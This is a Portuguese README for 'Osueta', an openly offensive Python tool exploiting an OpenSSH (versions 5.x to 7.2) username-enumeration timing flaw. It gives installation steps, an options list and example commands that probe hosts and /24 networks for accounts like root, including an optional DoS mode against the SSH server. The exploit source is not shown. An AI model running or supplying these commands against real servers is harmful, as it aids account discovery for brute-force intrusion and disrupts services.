
Um script Python simples para explorar o ataque de temporização de enumeração de usuários do OpenSSH.
* ___ ___ ___ _ _ *
* / _ \ _ __ ___ _ _ / __/ __| || | *
* | (_) | '_ \/ -_) ' \\__ \__ \ __ | *
* \___/| .__/\___|_||_|___/___/_||_| *
* |_| *
* _ _ ___ _ _ *
* | | | |___ ___ _ _ | __|_ _ _ _ _ __ ___ _ _ __ _| |_| |___ _ _ *
* | |_| |_- </ -_) '_| | _|| ' \ || | ' \/ -_) '_/ _` | _| / _ \ ' \ *
* \___//__/\___|_| |___|_||_\_,_|_|_|_\___|_| \__,_|\__|_\___/_||_| *
* *
* _____ _ _ _ _ _ _ *
* |_ _(_)_ __ (_)_ _ __ _ /_\| |_| |_ __ _ __| |__ *
* | | | | ' \| | ' \/ _` | / _ \ _| _/ _` / _| / / *
* |_| |_|_|_|_|_|_||_\__, | /_/ \_\__|\__\__,_\__|_\_\ *
* |___/ *
***************************************************************************
Osueta é um script simples em Python2 para explorar o Ataque de Temporização de Enumeração de Usuários do OpenSSH,
presente em versões do OpenSSH <= 7.2 e >= 5.*. O script tem a capacidade de fazer variações
do nome de usuário empregado no ataque de força bruta, e a possibilidade de estabelecer
uma condição de DOS no servidor OpenSSH.
http://seclists.org/fulldisclosure/2013/Jul/88
O bug foi corrigido na versão 7.3 do OpenSSH:
http://www.openssh.com/txt/release-7.3
c0r3dump3d | coredump<@>autistici.org
rofen | rofen<@>gmx.de
Queremos agradecer a Javier Nieto do www.behindthefirewalls.com pelo seu apoio e ajuda.
Como outras ferramentas ofensivas, os autores se isentam de toda responsabilidade pelo uso deste script.
Debian:
# apt-get install python-ipy python-nmap
# pip install paramiko
# pip install IPy
ArchLinux:
# pacman -S python2-ipy python2-nmap python2-paramiko
$ git clone https://github.com/c0r3dump3d/osueta.git
usage: osueta.py [-h] [-H HOST] [-k HFILE] [-f FQDN] [-p PORT] [-L UFILE]
[-U USER] [-d DELAY] [-v VARI] [-o OUTP] [-l LENGTH]
[-c VERS] [--dos DOS] [-t THREADS]
Script Python para ataque de temporização de enumeração de usuários do OpenSSH
argumentos opcionais:
-h, --help mostra esta mensagem de ajuda e sai
-H HOST IP do host ou bloco de rede CIDR.
-k HFILE Lista de hosts em um arquivo.
-f FQDN FQDN para atacar.
-p PORT Porta do host.
-L UFILE Arquivo de lista de nomes de usuário.
-U USER Usar apenas um único nome de usuário.
-d DELAY Atraso fixo em segundos. Se não definido, o atraso é calculado.
-v VARI Fazer variações do nome de usuário (padrão sim).
-o OUTP Arquivo de saída com resultados positivos.
-l LENGTH Comprimento da senha em caracteres (x1000) (padrão 40).
-c VERS Verificar ou não a versão do OpenSSH (padrão sim).
--dos DOS Tentar fazer um ataque DOS (padrão não).
-t THREADS Threads para o ataque DOS (padrão 5).
* Uma tentativa de enumeração de um único usuário com variações de nome de usuário:
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes
* Uma tentativa de enumeração de um único usuário sem variações de usuário e um ataque DOS:
./osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes
* Varrendo uma rede classe C com apenas um usuário:
./osueta -H 192.168.1.0/24 -p 22 -U root -v no
* Varrendo uma rede classe C com nomes de usuário de um arquivo, atraso de 15 segundos e senha de 50000 caracteres:
./osueta -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50